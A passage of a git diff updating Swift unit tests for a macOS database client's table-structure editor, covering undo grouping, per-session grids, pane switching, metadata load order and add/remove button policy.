+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        adapter.model.selectRows([
+            adapter.rowID(forEntity: id(of: "id", in: editor)),
+            adapter.rowID(forEntity: id(of: "status", in: editor))
+        ])
+
+        #expect(editor.inspectorTarget == .several(.columns, 2))
+    }
+}
+
+@MainActor
+struct StructureDefinitionPasteTests {
+    @Test("Pasting several columns is one undo step")
+    func pasteIsOneUndoStep() throws {
+        let suite = try EphemeralDefaults()
+        let manager = StructureChangeManager()
+        manager.loadSchema(
+            tableName: "t",
+            columns: [
+                ColumnInfo(name: "a", dataType: "INT", isNullable: true, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
+                ColumnInfo(name: "b", dataType: "INT", isNullable: true, isPrimaryKey: false,
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
+            ],
+            indexes: [],
+            foreignKeys: [],
+            primaryKey: []
+        )
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .newTable(connection: TestFixtures.makeConnection(type: .postgresql), databaseName: "db", schemaName: nil),
+            defaults: suite.defaults
+        )
+        editor.refresh()
+        let adapter = editor.adapter(for: .columns)
+        let pasteboard = NSPasteboard(name: NSPasteboard.Name("structure-paste-\(UUID().uuidString)"))
+        defer { pasteboard.releaseGlobally() }
+        adapter.copyRows(manager.workingColumns.map { adapter.rowID(forEntity: $0.id) }, to: pasteboard)
+
+        adapter.pasteRows(from: pasteboard)
+        #expect(manager.workingColumns.count == 4)
+
+        manager.undo()
+        #expect(manager.workingColumns.count == 2)
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/StructureEditGateTests.swift b/apple/TableProTests/Views/Structure/StructureEditGateTests.swift
index 8db3e43eff..8b9617dccb 100644
--- a/apple/TableProTests/Views/Structure/StructureEditGateTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureEditGateTests.swift
@@ -119,7 +119,6 @@ struct StructureEditGateTests {
         #expect(gate(.materializedView).locksField(at: 0, on: .foreignKeys, orderedFields: []))
         #expect(gate(.materializedView).locksField(at: 0, on: .checkConstraints, orderedFields: []))
         #expect(!gate(.table).locksField(at: 0, on: .indexes, orderedFields: []))
-        #expect(!gate(.table).locksField(at: 0, on: .ddl, orderedFields: []))
     }
 
     @Test("The Columns list locks field by field")
diff --git a/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift b/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift
index 286b5b4328..d1e40cd7a6 100644
--- a/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift
@@ -38,6 +38,45 @@ private final class StructureSessionDriver: PluginDriverStub, @unchecked Sendabl
     }
 }
 
+// Records the reads a load makes, in order.
+private final class StructureLoadDriver: PluginDriverStub, @unchecked Sendable {
+    private let lock = NSLock()
+    private var log: [String] = []
+
+    var supportsSchemas: Bool { false }
+    var supportsTransactions: Bool { false }
+    var currentSchema: String? { nil }
+    var serverVersion: String? { nil }
+
+    var reads: [String] { lock.withLock { log } }
+
+    private func record(_ read: String) {
+        lock.withLock { log.append(read) }
+    }
+
+    func switchDatabase(to database: String) async throws {}
+
+    func fetchColumns(table: String, schema: String?) async throws -> [PluginColumnInfo] {
+        record("columns")
+        return [PluginColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true)]
+    }
+
+    func fetchIndexes(table: String, schema: String?) async throws -> [PluginIndexInfo] {
+        record("indexes")
+        return []
+    }
+
+    func fetchForeignKeys(table: String, schema: String?) async throws -> [PluginForeignKeyInfo] {
+        record("foreignKeys")
+        return []
+    }
+
+    func fetchTableDDL(table: String, schema: String?) async throws -> String {
+        record("ddl")
+        return "CREATE TABLE `\(table)` (`id` INT)"
+    }
+}
+
 @Suite("Structure editing session", .serialized)
 @MainActor
 struct StructureEditingSessionTests {
@@ -64,6 +103,7 @@ struct StructureEditingSessionTests {
             foreignKeys: [],
             primaryKey: []
         )
+        session.markBaselineAdopted()
         manager.addNewColumn()
         guard var column = manager.workingColumns.last else { return }
         column.name = "notes"
@@ -90,68 +130,85 @@ struct StructureEditingSessionTests {
     }
 
     // A grid owner seeded once into a view's `@State` kept writing into the first session to mount.
-    @Test("A session's grid adapter writes into that session's change manager")
-    func gridAdapterBelongsToItsSession() {
+    @Test("A session's editor and its section grids write into that session's change manager")
+    func editorBelongsToItsSession() {
         let connection = TestFixtures.makeConnection()
         let first = Self.makeSession(connection: connection)
         let second = Self.makeSession(connection: connection)
 
-        #expect(first.gridAdapter !== second.gridAdapter)
-        #expect(first.gridModel !== second.gridModel)
-        #expect(first.gridAdapter.structureChangeManager === first.changeManager)
-        #expect(second.gridAdapter.structureChangeManager === second.changeManager)
-        #expect(first.gridAdapter.session === first)
-        #expect(first.gridAdapter.store.session === first)
+        #expect(first.editor !== second.editor)
+        #expect(first.editor.manager === first.changeManager)
+        #expect(second.editor.manager === second.changeManager)
+        for section in StructureSection.allCases {
+            let adapter = first.editor.adapter(for: section)
+            #expect(adapter !== second.editor.adapter(for: section), "\(section.rawValue)")
+            #expect(adapter.model !== second.editor.adapter(for: section).model, "\(section.rawValue)")
+            #expect(adapter.manager === first.changeManager, "\(section.rawValue)")
+            #expect(adapter.editor === first.editor, "\(section.rawValue)")
+        }
     }
 
-    @Test("A session's grid model survives the view: the adapter, not a mount, owns it")
+    @Test("A section's grid model survives the view: the editor, not a mount, owns it")
     func gridModelOutlivesTheView() {
         let session = Self.makeSession(connection: TestFixtures.makeConnection())
         Self.stageAColumn(on: session)
-        session.gridAdapter.refresh()
-        let model = session.gridModel
+        session.editor.refresh()
+        let adapter = session.editor.adapter(for: .columns)
+        let model = adapter.model
 
         #expect(!model.isMounted)
         #expect(model.rowCount == 1)
-        #expect(session.gridModel === model)
-        #expect(model.dataSource === session.gridAdapter)
+        #expect(session.editor.adapter(for: .columns).model === model)
+        #expect(model.dataSource === adapter)
     }
 
-    @Test("The session answers the grid on screen only while a sub-tab shows one")
-    func activeGridModelFollowsTheSubTab() {
+    @Test("The session answers the grid holding the selection, and no grid on a pane that draws none")
+    func activeGridModelFollowsThePane() {
         let session = Self.makeSession(connection: TestFixtures.makeConnection())
+        session.changeManager.loadSchema(
+            tableName: "users",
+            columns: [ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true)],
+            indexes: [IndexInfo(name: "ix_id", columns: ["id"], isUnique: false, isPrimary: false, type: "BTREE")],
+            foreignKeys: [],
+            primaryKey: ["id"]
+        )
+        session.markBaselineAdopted()
+        session.editor.refresh()
+        let indexes = session.editor.adapter(for: .indexes)
 
-        for tab in [StructureTab.columns, .indexes, .foreignKeys, .checkConstraints] {
-            session.selectedTab = tab
-            #expect(session.activeGridModel === session.gridModel, "\(tab.rawValue)")
-        }
-        for tab in [StructureTab.options, .ddl, .parts, .triggers] {
-            session.selectedTab = tab
-            #expect(session.activeGridModel == nil, "\(tab.rawValue)")
+        #expect(session.activeGridModel === session.editor.adapter(for: .columns).model)
+
+        indexes.select(entity: session.changeManager.workingIndexes[0].id)
+        #expect(session.activeGridModel === indexes.model)
+
+        for pane in [StructurePane.triggers, .ddl, .parts] {
+            session.pane = pane
+            #expect(session.activeGridModel == nil, "\(pane.rawValue)")
         }
     }
 
-    // Sharing the place moved one tab to Indexes when the other did, and lost the sub-tab on a Data trip.
+    // Sharing the place moved one tab to Indexes when the other did, and lost the pane on a Data trip.
     @Test("Each session keeps its own place in the editor")
     func editorPlaceIsPerSession() {
         let connection = TestFixtures.makeConnection()
         let first = Self.makeSession(connection: connection)
         let second = Self.makeSession(connection: connection)
 
-        first.selectedTab = .indexes
-        first.searchText = "created"
+        first.pane = .ddl
+        first.editor.searchText = "created"
 
-        #expect(second.selectedTab == .columns)
-        #expect(second.searchText.isEmpty)
+        #expect(second.pane == .definition)
+        #expect(second.editor.searchText.isEmpty)
     }
 
-    // MARK: - Sub-tab switch
+    // MARK: - Open edits
 
-    // The switch used to commit an open edit into the incoming sub-tab's rows.
-    @Test("An edit open when the sub-tab changes commits into the column it was typed on")
-    func openEditCommitsIntoItsOwnSubTab() throws {
+    // A switch used to commit an open edit into the incoming sub-tab's rows; each section now owns its grid.
+    @Test("An edit open when Undo runs lands in the column it was typed on, and Undo takes that edit back")
+    func openEditCommitsIntoItsOwnSection() throws {
         let session = Self.makeSession(connection: TestFixtures.makeConnection(database: "testdb", type: .mysql))
-        session.changeManager.loadSchema(
+        let manager = session.changeManager
+        manager.loadSchema(
             tableName: "users",
             columns: ["id", "email"].map {
                 ColumnInfo(name: $0, dataType: "VARCHAR(64)", isNullable: true, isPrimaryKey: false)
@@ -162,8 +219,13 @@ struct StructureEditingSessionTests {
             foreignKeys: [],
             primaryKey: []
         )
-        session.gridAdapter.refresh()
-        let controller = DataGridViewController(model: session.gridModel)
+        session.markBaselineAdopted()
+        var index = manager.workingIndexes[0]
+        index.name = "ix_a"
+        manager.updateIndex(id: index.id, with: index)
+        session.editor.refresh()
+        let model = session.editor.adapter(for: .columns).model
+        let controller = DataGridViewController(model: model)
         let window = NSWindow(
             contentRect: NSRect(x: 0, y: 0, width: 800, height: 400),
             styleMask: [.titled],
@@ -180,12 +242,139 @@ struct StructureEditingSessionTests {
         let editor = try #require(controller.editingState.editingCellView.field.currentEditor() as? NSTextView)
         editor.string = "mail"
 
-        session.selectedTab = .indexes
-        session.gridAdapter.refresh()
+        session.undo()
+
+        #expect(manager.workingColumns.map(\.name) == ["id", "email"])
+        #expect(manager.workingIndexes.map(\.name) == ["ix_a", "ix_email"])
+        #expect(!model.isEditing)
+        #expect(session.canRedo)
+
+        session.redo()
+        #expect(manager.workingColumns.map(\.name) == ["id", "mail"])
+    }
+
+    // MARK: - Row commands
+
+    @Test("Row commands do nothing on a pane that shows no grid", arguments: [StructurePane.triggers, .ddl, .parts])
+    func rowCommandsNeedTheDefinitionPane(pane: StructurePane) {
+        let session = Self.makeSession(connection: TestFixtures.makeConnection())
+        Self.stageAColumn(on: session)
+        session.editor.refresh()
+        session.editor.adapter(for: .columns).select(entity: session.changeManager.workingColumns[0].id)
+        let staged = session.changeManager.getChangesArray()
+        let columns = session.changeManager.workingColumns
+        session.pane = pane
+
+        #expect(!session.canAddRow)
+        #expect(!session.canRemoveRows)
+        session.addRow()
+        session.removeSelectedRows()
+        session.duplicateSelectedRows()
+
+        #expect(session.changeManager.getChangesArray() == staged)
+        #expect(session.changeManager.workingColumns == columns)
+    }
+
+    @Test("A failed section still shows the sections that loaded, read-only")
+    func partialReadShowsLoadedSectionsReadOnly() {
+        let session = Self.makeSession(connection: TestFixtures.makeConnection())
+        session.columns = [ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true)]
+        session.loadState.markFetched(.columns)
+        session.loadState.markFailed(.indexes, message: "timed out")
+
+        session.adoptIfCurrent()
+
+        #expect(session.changeManager.workingColumns.map(\.name) == ["id"])
+        #expect(!session.hasBaseline)
+        #expect(!session.canAddRow)
+        #expect(!session.editor.canAdd(.columns))
+    }
+
+    @Test("Text typed in the inspector is staged as it is typed, and its run undoes as one step")
+    func inspectorTypingIsStagedAndUndoesOnce() {
+        let session = Self.makeSession(connection: TestFixtures.makeConnection())
+        session.changeManager.loadSchema(
+            tableName: "users",
+            columns: [ColumnInfo(name: "email", dataType: "TEXT", isNullable: true, isPrimaryKey: false)],
+            indexes: [],
+            foreignKeys: [],
+            primaryKey: []
+        )
+        session.markBaselineAdopted()
+        session.editor.refresh()
+        let id = session.changeManager.workingColumns[0].id
+        for text in ["e", "em", "ema", "mail"] {
+            session.editor.typeInspectorField(section: .columns, id: id, field: 0, value: text)
+        }
+
+        #expect(session.hasChanges)
+        #expect(session.changeManager.workingColumns[0].name == "mail")
+        #expect(session.undoMenuItemTitle.contains(String(localized: "Edit Column")))
 
-        #expect(session.changeManager.workingColumns.map(\.name) == ["id", "mail"])
-        #expect(session.changeManager.workingIndexes.map(\.name) == ["ix_id", "ix_email"])
-        #expect(!session.gridModel.isEditing)
+        session.undo()
+
+        #expect(session.changeManager.workingColumns[0].name == "email")
+        #expect(!session.hasChanges)
+    }
+
+    @Test("Row commands wait for the definitions the table was read with")
+    func rowCommandsWaitForTheBaseline() {
+        let session = Self.makeSession(connection: TestFixtures.makeConnection())
+        #expect(!session.canAddRow)
+        session.addRow()
+        #expect(session.changeManager.workingColumns.isEmpty)
+    }
+
+    @Test("Add and Remove act on the section holding the selection")
+    func rowCommandsFollowTheFocusedSection() {
+        let session = Self.makeSession(connection: TestFixtures.makeConnection())
+        session.changeManager.loadSchema(
+            tableName: "users",
+            columns: [ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true)],
+            indexes: [IndexInfo(name: "ix_id", columns: ["id"], isUnique: false, isPrimary: false, type: "BTREE")],
+            foreignKeys: [],
+            primaryKey: ["id"]
+        )
+        session.markBaselineAdopted()
+        session.editor.refresh()
+        session.editor.adapter(for: .indexes).select(entity: session.changeManager.workingIndexes[0].id)
+
+        #expect(session.canAddRow)
+        session.addRow()
+
+        #expect(session.changeManager.workingIndexes.count == 2)
+        #expect(session.changeManager.workingColumns.count == 1)
+    }
+
+    // Cmd+Shift+D on several rows used to register one undo per row.
+    @Test("Duplicating several selected rows is one undo step")
+    func duplicateIsOneUndoStep() {
+        let session = Self.makeSession(connection: TestFixtures.makeConnection())
+        let manager = session.changeManager
+        manager.loadSchema(
+            tableName: "users",
+            columns: ["id", "email", "created_at"].map {
+                ColumnInfo(name: $0, dataType: "VARCHAR(64)", isNullable: true, isPrimaryKey: false)
+            },
+            indexes: [],
+            foreignKeys: [],
+            primaryKey: []
+        )
+        session.markBaselineAdopted()
+        session.editor.refresh()
+        let adapter = session.editor.adapter(for: .columns)
+        let selected = manager.workingColumns.prefix(2).map { adapter.rowID(forEntity: $0.id) }
+        adapter.model.selectRows(selected)
+
+        session.duplicateSelectedRows()
+        #expect(manager.workingColumns.count == 5)
+        #expect(manager.workingColumns.suffix(2).map(\.name) == ["id", "email"])
+
+        session.undo()
+
+        #expect(manager.workingColumns.map(\.name) == ["id", "email", "created_at"])
+        #expect(!session.hasChanges)
+        #expect(!session.canUndo)
     }
 
     // MARK: - Applying without a mounted view
@@ -382,77 +571,109 @@ struct StructureEditingSessionTests {
         return driver
     }
 
-    // A withdrawn tab cannot stay selected: no segment would match it.
-    @Test("A session on Constraints moves to Columns when the server withdraws the tab")
-    func withdrawnTabMovesSelection() {
-        let connection = DatabaseConnection(name: "MySQL", type: .mysql)
-        let session = Self.makeSession(connection: connection)
-        session.selectedTab = .checkConstraints
-        #expect(session.availableTabs.contains(.checkConstraints))
+    private static let legacyMySQL = StructureServerSupport(
+        unsupportedColumnFields: [],
+        unsupportedIndexTypes: [],
+        checkConstraintRefusal: "Check constraints need MySQL 8.0.16 or later."
+    )
 
-        session.serverSupport = StructureServerSupport(
-            unsupportedColumnFields: [],
-            unsupportedIndexTypes: [],
-            checkConstraintRefusal: "Check constraints need MySQL 8.0.16 or later."
-        )
+    @Test("A server that withdraws check constraints takes the section off the page and leaves the pane alone")
+    func withdrawnSectionLeavesThePage() {
+        let session = Self.makeSession(connection: DatabaseConnection(name: "MySQL", type: .mysql))
+        session.pane = .ddl
+        #expect(session.editor.sections.contains(.checkConstraints))
 
-        #expect(!session.availableTabs.contains(.checkConstraints))
-        #expect(session.selectedTab == .columns)
+        session.serverSupport = Self.legacyMySQL
+
+        #expect(!session.editor.offers(.checkConstraints))
+        #expect(!session.editor.sections.contains(.checkConstraints))
+        #expect(session.editor.serverSupport == Self.legacyMySQL)
+        #expect(session.pane == .ddl)
     }
 
-    @Test("A server change that withdraws nothing leaves the selection alone")
-    func unchangedSupportKeepsSelection() {
-        let connection = DatabaseConnection(name: "MySQL", type: .mysql)
-        let session = Self.makeSession(connection: connection)
-        session.selectedTab = .indexes
+    // A pane no segment matches cannot stay selected.
+    @Test("A pane the engine does not offer falls back to Definition when the server's support settles")
+    func unofferedPaneFallsBackToDefinition() {
+        let session = Self.makeSession(connection: DatabaseConnection(name: "MySQL", type: .mysql))
+        session.pane = .parts
+        #expect(!session.availablePanes.contains(.parts))
+
+        session.serverSupport = StructureServerSupport(unsupportedColumnFields: [.generated], unsupportedIndexTypes: [])
+
+        #expect(session.pane == .definition)
+    }
+
+    @Test("A server change that withdraws nothing leaves the pane and the sections alone")
+    func unchangedSupportKeepsThePane() {
+        let session = Self.makeSession(connection: DatabaseConnection(name: "MySQL", type: .mysql))
+        session.pane = .triggers
 
         session.serverSupport = StructureServerSupport(
             unsupportedColumnFields: [.generated],
             unsupportedIndexTypes: ["BRIN"]
         )
 
-        #expect(session.selectedTab == .indexes)
-        #expect(session.availableTabs.contains(.checkConstraints))
+        #expect(session.pane == .triggers)
+        #expect(session.editor.offers(.checkConstraints))
     }
 
-    @Test("A session built for a server with no check constraints never offers the tab")
+    @Test("A session built for a server with no check constraints never offers the section")
     func sessionSeededWithServerSupport() {
-        let connection = DatabaseConnection(name: "MySQL", type: .mysql)
         let session = StructureEditingSession(
             identity: "testdb.users",
-            connection: connection,
+            connection: DatabaseConnection(name: "MySQL", type: .mysql),
             databaseName: "testdb",
             schemaName: nil,
             tableName: "users",
-            serverSupport: StructureServerSupport(
-                unsupportedColumnFields: [],
-                unsupportedIndexTypes: [],
-                checkConstraintRefusal: "Check constraints need MySQL 8.0.16 or later."
-            )
+            serverSupport: Self.legacyMySQL
         )
-        #expect(!session.availableTabs.contains(.checkConstraints))
-        #expect(session.selectedTab == .columns)
+        #expect(!session.editor.offers(.checkConstraints))
+        #expect(session.editor.sections == [.columns, .indexes, .foreignKeys])
+        #expect(session.pane == .definition)
     }
 
-    // A stale session left on DDL or Triggers mounts without a selection change, so nothing else fetches that sub-tab.
-    @Test("A mount fetches the sub-tab the user left selected, once, after the ones it baselines from")
-    func mountFetchesTheSelectedSubTab() {
-        let session = Self.makeSession(connection: TestFixtures.makeConnection())
-        #expect(session.tabsFetchedOnMount.first == .columns)
-        #expect(!session.tabsFetchedOnMount.contains(.ddl))
+    // A stale session left on DDL or Triggers mounts without a pane change, so nothing else fetches that pane.
+    @Test("A load fetches the pane the user left selected, once, after the definitions it baselines from")
+    func loadFetchesTheSelectedPane() async throws {
+        let connection = TestFixtures.makeConnection(database: "testdb")
+        var connectionSession = ConnectionSession(
+            connection: connection,
+            driver: PluginDriverAdapter(connection: connection, pluginDriver: StructureLoadDriver())
+        )
+        connectionSession.browseDatabase = "testdb"
+        DatabaseManager.shared.injectSession(connectionSession, for: connection.id)
 
-        session.selectedTab = .ddl
-        session.tabData.markFetched(.ddl)
-        session.hasLoaded = true
-        session.markStructureStale()
+        let session = Self.makeSession(connection: connection)
+        let driver = StructureLoadDriver()
+        let adapter = PluginDriverAdapter(connection: connection, pluginDriver: driver)
+        try await adapter.connect()
+        MetadataConnectionPool.shared.injectEntry(adapter, scope: session.scope)
+        defer {
+            MetadataConnectionPool.shared.closeAll(connectionId: connection.id)
+            DatabaseManager.shared.removeSession(for: connection.id)
+        }
 
-        #expect(!session.hasLoaded)
-        #expect(session.tabData.needsFetch(.ddl))
-        #expect(session.tabsFetchedOnMount.last == .ddl)
+        await session.load()
+        #expect(session.hasLoaded)
+        #expect(driver.reads.first == "columns")
+        #expect(!driver.reads.contains("ddl"))
+        #expect(session.changeManager.workingColumns.map(\.name) == ["id"])
 
-        session.selectedTab = .indexes
-        #expect(session.tabsFetchedOnMount.filter { $0 == .indexes }.count == 1)
-        #expect(!session.tabsFetchedOnMount.contains(.ddl))
+        session.markStructureStale()
+        #expect(!session.hasLoaded)
+        session.pane = .ddl
+        let before = driver.reads.count
+        await session.load()
+
+        let reload = Array(driver.reads.dropFirst(before))
+        #expect(reload.first == "columns")
+        #expect(reload.last == "ddl")
+        #expect(reload.filter { $0 == "ddl" }.count == 1)
+        #expect(session.loadState.hasData(.ddl))
+        #expect(!session.loadState.needsFetch(.ddl))
+
+        await session.load()
+        #expect(driver.reads.filter { $0 == "ddl" }.count == 1)
     }
 
     // A refetch with edits staged would re-baseline and drop them, and dropping the refetch left an undone session showing old columns.
@@ -460,14 +681,14 @@ struct StructureEditingSessionTests {
     func aChangeOwedWhileEditingIsFetchedOnceTheEditsAreGone() {
         let session = Self.makeSession(connection: TestFixtures.makeConnection())
         Self.stageAColumn(on: session)
-        session.tabData.markFetched(.columns)
+        session.loadState.markFetched(.columns)
         session.hasLoaded = true
 
         session.markStructureStale()
 
         #expect(session.changeManager.hasChanges, "The staged edit survives the change")
         #expect(session.hasLoaded)
-        #expect(!session.tabData.needsFetch(.columns))
+        #expect(!session.loadState.needsFetch(.columns))
         #expect(!session.settleOwedRefetch(), "Nothing is fetched while the edit is still staged")
 
         while session.changeManager.canUndo {
@@ -477,7 +698,7 @@ struct StructureEditingSessionTests {
 
         #expect(session.settleOwedRefetch())
         #expect(!session.hasLoaded)
-        #expect(session.tabData.needsFetch(.columns))
+        #expect(session.loadState.needsFetch(.columns))
         #expect(!session.settleOwedRefetch())
     }
 
@@ -530,6 +751,7 @@ struct StructureEditingSessionTests {
             primaryKey: ["id"],
             tableComment: "Customer orders"
         )
+        session.markBaselineAdopted()
         session.changeManager.stageTableComment("Paid orders")
 
         session.markStructureStale()
diff --git a/apple/TableProTests/Views/Structure/StructureEditingSupportFieldDiffTests.swift b/apple/TableProTests/Views/Structure/StructureEditingSupportFieldDiffTests.swift
index 0d6d731b6e..2caa8bb017 100644
--- a/apple/TableProTests/Views/Structure/StructureEditingSupportFieldDiffTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureEditingSupportFieldDiffTests.swift
@@ -243,7 +243,7 @@ struct StructureEditingSupportFieldDiffTests {
     }
 }
 
-// MARK: - undoDelete(for:at:)
+// MARK: - undoDelete(section:id:)
 
 @MainActor
 struct StructureChangeManagerUndoDeleteTests {
@@ -272,7 +272,7 @@ struct StructureChangeManagerUndoDeleteTests {
         manager.deleteColumn(id: emailColumn.id)
         #expect(manager.deleteInsertState(for: 1, tab: .columns).isDeleted)
 
-        manager.undoDelete(for: .columns, at: 1)
+        manager.undoDelete(section: .columns, id: emailColumn.id)
         #expect(!manager.deleteInsertState(for: 1, tab: .columns).isDeleted)
         #expect(manager.pendingChanges[.column(emailColumn.id)] == nil)
     }
@@ -285,29 +285,44 @@ struct StructureChangeManagerUndoDeleteTests {
         manager.updateColumn(id: renamed.id, with: renamed)
         let beforeChanges = manager.pendingChanges
 
-        manager.undoDelete(for: .columns, at: 1)
+        manager.undoDelete(section: .columns, id: renamed.id)
 
         #expect(manager.pendingChanges == beforeChanges)
     }
 
-    @Test("undoDelete bounds-checks the row index")
-    func undoDeleteOutOfRange() {
+    @Test("undoDelete ignores an id no definition has")
+    func undoDeleteUnknownID() {
         let manager = makeManagerWithSchema()
-        manager.undoDelete(for: .columns, at: 99)
-        manager.undoDelete(for: .indexes, at: 0)
-        manager.undoDelete(for: .foreignKeys, at: 0)
+        manager.undoDelete(section: .columns, id: UUID())
+        manager.undoDelete(section: .indexes, id: UUID())
+        manager.undoDelete(section: .foreignKeys, id: UUID())
+        manager.undoDelete(section: .checkConstraints, id: UUID())
         #expect(manager.pendingChanges.isEmpty)
     }
 
-    @Test("undoDelete on .ddl / .parts tabs is a no-op")
-    func undoDeleteDDLAndParts() {
+    @Test("undoDelete names a definition in its own section only")
+    func undoDeleteStaysInItsSection() {
         let manager = makeManagerWithSchema()
         let emailColumn = manager.workingColumns[1]
         manager.deleteColumn(id: emailColumn.id)
 
-        manager.undoDelete(for: .ddl, at: 1)
-        manager.undoDelete(for: .parts, at: 1)
+        manager.undoDelete(section: .indexes, id: emailColumn.id)
+        manager.undoDelete(section: .checkConstraints, id: emailColumn.id)
 
         #expect(manager.deleteInsertState(for: 1, tab: .columns).isDeleted)
     }
+
+    @Test("undoDelete leaves the undo stack alone, and the delete it skipped undoes to nothing")
+    func undoDeleteLeavesTheStack() {
+        let manager = makeManagerWithSchema()
+        let emailColumn = manager.workingColumns[1]
+        manager.deleteColumn(id: emailColumn.id)
+
+        manager.undoDelete(section: .columns, id: emailColumn.id)
+        #expect(manager.canUndo)
+
+        manager.undo()
+        #expect(!manager.deleteInsertState(for: 1, tab: .columns).isDeleted)
+        #expect(!manager.hasChanges)
+    }
 }
diff --git a/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift b/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift
index d2c3e38272..42ad20122a 100644
--- a/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift
@@ -5,134 +5,147 @@
 
 import Foundation
 @testable import TablePro
+import TableProPluginKit
 import Testing
 
-/// The "+" and "-" under a structure list used to take their label, their enabled state and their
-/// tooltip from three different switches, and only the Foreign Keys one asked about the object at
-/// all. So a view offered an enabled "Add Column" over a statement PostgreSQL always refuses, with
-/// nothing to explain it. (#2726)
+// The +/- beneath each section takes its label from the policy and its state and help from the editor, so a view
+// that PostgreSQL refuses an added column on dims the pair and says why (#2726).
+@MainActor
 struct StructureFooterPolicyTests {
-    private func resolve(
-        tab: StructureTab,
+    private let suite: EphemeralDefaults
+
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
+    private func makeEditor(
         kind: TableInfo.TableType,
-        matrix: StructureObjectEditMatrix = .postgreSQL,
-        canEditSchema: Bool = true,
-        hasSelection: Bool = true,
-        isSaving: Bool = false
-    ) -> StructureFooterCapability {
-        StructureFooterPolicy.resolve(
-            tab: tab,
-            canEditSchema: canEditSchema,
-            hasSelection: hasSelection,
-            isSaving: isSaving,
-            resolve: { operation in
-                StructureEditEligibility.resolve(
-                    operation,
-                    on: kind,
-                    matrix: matrix,
-                    engineAllows: true,
-                    engineName: "PostgreSQL",
-                    canEditSchema: canEditSchema
-                )
-            }
+        type: DatabaseType = .postgresql,
+        isSessionBound: Bool = false
+    ) -> StructureDefinitionEditor {
+        let manager = StructureChangeManager()
+        manager.loadSchema(
+            tableName: "t",
+            columns: [ColumnInfo(name: "id", dataType: "integer", isNullable: false, isPrimaryKey: true)],
+            indexes: [IndexInfo(name: "t_pkey", columns: ["id"], isUnique: true, isPrimary: true, type: "BTREE")],
+            foreignKeys: [],
+            primaryKey: ["id"]
         )
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .existingTable(
+                connection: TestFixtures.makeConnection(type: type),
+                databaseName: "db",
+                schemaName: "public",
+                tableName: "t",
+                objectKind: kind,
+                isSessionBound: isSessionBound
+            ),
+            defaults: suite.defaults
+        )
+        editor.refresh()
+        return editor
     }
 
-    @Test("A table offers both buttons on all four editable tabs")
+    // Selects the section's first row, staging a placeholder where the table has none.
+    private func selectFirst(_ section: StructureSection, in editor: StructureDefinitionEditor) {
+        if StructureGridEdits.entityIDs(in: section, manager: editor.manager).isEmpty {
+            StructureGridEdits.addRow(on: section, manager: editor.manager)
+            editor.refresh()
+        }
+        let id = StructureGridEdits.entityIDs(in: section, manager: editor.manager)[0]
+        editor.adapter(for: section).select(entity: id)
+    }
+
+    @Test("A table offers both buttons in all four sections")
     func tableOffersEverything() {
-        for tab in [StructureTab.columns, .indexes, .foreignKeys, .checkConstraints] {
-            let capability = resolve(tab: tab, kind: .table)
-            #expect(capability.canAdd, "\(tab.rawValue)")
-            #expect(capability.canRemove, "\(tab.rawValue)")
-            #expect(capability.unavailableReason == nil, "\(tab.rawValue)")
+        let editor = makeEditor(kind: .table)
+        for section in StructureSection.allCases {
+            selectFirst(section, in: editor)
+            #expect(editor.canAdd(section), "\(section.rawValue)")
+            #expect(editor.canRemoveSelection(in: section), "\(section.rawValue)")
+            #expect(editor.refusal(adding: section) == nil, "\(section.rawValue)")
         }
     }
 
-    /// A save holds what is staged from the press until it ends, so the pair cannot stage more
-    /// meanwhile, and says why rather than going grey in silence.
-    @Test("A save in progress dims both buttons on every editable tab and says why")
-    func savingDimsThePair() {
-        for tab in [StructureTab.columns, .indexes, .foreignKeys, .checkConstraints] {
-            let capability = resolve(tab: tab, kind: .table, isSaving: true)
-            #expect(!capability.canAdd, "\(tab.rawValue)")
-            #expect(!capability.canRemove, "\(tab.rawValue)")
-            #expect(capability.isActive, "\(tab.rawValue)")
-            #expect(capability.unavailableReason == StructureFooterPolicy.savingReason, "\(tab.rawValue)")
+    // A save holds what is staged from the press until it ends, so the pair cannot stage more meanwhile.
+    @Test("A save in progress dims both buttons in every section and says why")
+    func savingDimsThePair() throws {
+        let editor = makeEditor(kind: .table)
+        selectFirst(.columns, in: editor)
+        editor.manager.stageTableComment("Orders")
+        _ = try #require(editor.manager.holdForSave())
+        editor.refresh()
+        #expect(!editor.adapter(for: .columns).model.selection.isEmpty)
+
+        for section in StructureSection.allCases {
+            #expect(!editor.canAdd(section), "\(section.rawValue)")
+            #expect(!editor.canRemoveSelection(in: section), "\(section.rawValue)")
+            #expect(editor.refusal(adding: section) == StructureFooterPolicy.savingReason, "\(section.rawValue)")
         }
-        #expect(!resolve(tab: .ddl, kind: .table, isSaving: true).isActive)
     }
 
-    /// Shown and dimmed, not hidden. The pair disappearing would read as "this tab has no columns",
-    /// and the tooltip is the only place the refusal can be stated.
-    @Test("A view keeps the Columns pair on screen, dimmed, with a reason")
+    // Dimmed, not hidden: the pair disappearing would read as "this table has no columns".
+    @Test("A view keeps the Columns pair, dimmed, with a reason")
     func viewDimsTheColumnsPair() {
-        let capability = resolve(tab: .columns, kind: .view)
-        #expect(!capability.canAdd)
-        #expect(!capability.canRemove)
-        #expect(capability.isActive)
-        #expect(capability.addLabel.isEmpty == false)
-        #expect(capability.unavailableReason?.isEmpty == false)
+        let editor = makeEditor(kind: .view)
+        selectFirst(.columns, in: editor)
+
